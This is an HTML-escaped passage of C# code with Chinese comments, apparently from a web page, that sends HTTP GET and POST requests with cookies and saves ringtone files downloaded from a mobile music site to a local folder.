/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;StrUrl&nbsp;=&nbsp;RequestPageURL;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request&nbsp;=&nbsp;HttpWebRequest.Cr&#101;ate(StrUrl)&nbsp;as&nbsp;HttpWebRequest;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;postdata&nbsp;=&nbsp;Data.GetData();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Referer&nbsp;=&nbsp;RequestPageURL;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.AllowAutoRedirect&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.UserAgent&nbsp;=&nbsp;&#34;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.2;&nbsp;SV1;&nbsp;Maxthon;&nbsp;.NET&nbsp;CLR&nbsp;1.1.4322;&nbsp;.NET&nbsp;CLR&nbsp;2.0.50727)&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Timeout&nbsp;=&nbsp;20000;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(cookie&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.CookieContainer&nbsp;=&nbsp;new&nbsp;CookieContainer();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.CookieContainer.Add(cookie);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Uri&nbsp;u&nbsp;=&nbsp;new&nbsp;Uri(StrUrl);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(postdata.Length&nbsp;&gt;&nbsp;0)&nbsp;//包含要提交的数据　就使用Post方式<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.ContentType&nbsp;=&nbsp;&#34;application/x-www-form-urlencoded&#34;;&nbsp;//作为表单请求<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Method&nbsp;=&nbsp;&#34;POST&#34;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//方式就是Post<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//把提交的数据换成字节数组<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Byte[]&nbsp;B&nbsp;=&nbsp;System.Text.Encoding.UTF8.GetBytes(postdata);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.ContentLength&nbsp;=&nbsp;B.Length;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.IO.Stream&nbsp;SW&nbsp;=&nbsp;request.GetRequestStream();&nbsp;//开始提交数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SW.Write(B,&nbsp;0,&nbsp;B.Length);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SW.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response&nbsp;=&nbsp;request.GetResponse()&nbsp;as&nbsp;HttpWebResponse;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(Cr&#101;ateCookie)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//cookie&nbsp;=&nbsp;response.Cookies;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AddCookieWithCookieHead(ref&nbsp;cookie,&nbsp;response.Headers[&#34;Set-Cookie&#34;],&nbsp;request.RequestUri.Host);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reader&nbsp;=&nbsp;new&nbsp;StreamReader(response.GetResponseStream(),&nbsp;Encoding.Default);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;reader.ReadToEnd();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(Exception&nbsp;ex)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;x&nbsp;=&nbsp;ex.StackTrace;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(response&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;string.Empty;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;bool&nbsp;PostDownload(RequestData&nbsp;Data,&nbsp;out&nbsp;string&nbsp;file)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StreamReader&nbsp;reader&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebResponse&nbsp;response&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebRequest&nbsp;request&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;StrUrl&nbsp;=&nbsp;&#34;<a href="http://www.imobile.com.cn/wapdiyringdownload.php" target="_blank">http://www.imobile.com.cn/wapdiyringdownload.php</a>&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request&nbsp;=&nbsp;HttpWebRequest.Cr&#101;ate(StrUrl)&nbsp;as&nbsp;HttpWebRequest;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;postdata&nbsp;=&nbsp;Data.GetData();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Referer&nbsp;=&nbsp;StrUrl;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.AllowAutoRedirect&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.UserAgent&nbsp;=&nbsp;&#34;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.2;&nbsp;SV1;&nbsp;Maxthon;&nbsp;.NET&nbsp;CLR&nbsp;1.1.4322;&nbsp;.NET&nbsp;CLR&nbsp;2.0.50727)&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Timeout&nbsp;=&nbsp;20000;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(cookie&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.CookieContainer&nbsp;=&nbsp;new&nbsp;CookieContainer();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.CookieContainer.Add(cookie);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Uri&nbsp;u&nbsp;=&nbsp;new&nbsp;Uri(StrUrl);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(postdata.Length&nbsp;&gt;&nbsp;0)&nbsp;//包含要提交的数据　就使用Post方式<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.ContentType&nbsp;=&nbsp;&#34;application/x-www-form-urlencoded&#34;;&nbsp;//作为表单请求<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Method&nbsp;=&nbsp;&#34;POST&#34;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//方式就是Post<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//把提交的数据换成字节数组<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Byte[]&nbsp;B&nbsp;=&nbsp;System.Text.Encoding.UTF8.GetBytes(postdata);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.ContentLength&nbsp;=&nbsp;B.Length;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.IO.Stream&nbsp;SW&nbsp;=&nbsp;request.GetRequestStream();&nbsp;//开始提交数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SW.Write(B,&nbsp;0,&nbsp;B.Length);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SW.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response&nbsp;=&nbsp;request.GetResponse()&nbsp;as&nbsp;HttpWebResponse;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;des&nbsp;=&nbsp;response.Headers[&#34;Content-Disposition&#34;].Trim();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file&nbsp;=&nbsp;des.Substring(des.IndexOf(&#34;filename=&#34;)&nbsp;+&nbsp;9);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file&nbsp;=&nbsp;new&nbsp;Random().Next(100).ToString()&nbsp;+&nbsp;&#34;/&#34;&nbsp;+&nbsp;file;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.IO.Stream&nbsp;stream&nbsp;=&nbsp;response.GetResponseStream();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;Filelength&nbsp;=&nbsp;(int)response.ContentLength;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte[]&nbsp;b&nbsp;=&nbsp;new&nbsp;byte[512];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;nReadSize&nbsp;=&nbsp;0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nReadSize&nbsp;=&nbsp;stream.Read(b,&nbsp;0,&nbsp;512);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.IO.FileStream&nbsp;fs&nbsp;=&nbsp;System.IO.File.Cr&#101;ate(&#34;f:/mobileMusic/&#34;&nbsp;+&nbsp;file);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(nReadSize&nbsp;&gt;&nbsp;0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fs.Write(b,&nbsp;0,&nbsp;nReadSize);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nReadSize&nbsp;=&nbsp;stream.Read(b,&nbsp;0,&nbsp;512);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fs.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(Exception&nbsp;er)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Log&nbsp;l&nbsp;=&nbsp;new&nbsp;Log();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//l.writelog(&#34;下载文件错误&#34;,&nbsp;er.ToString());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stream.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp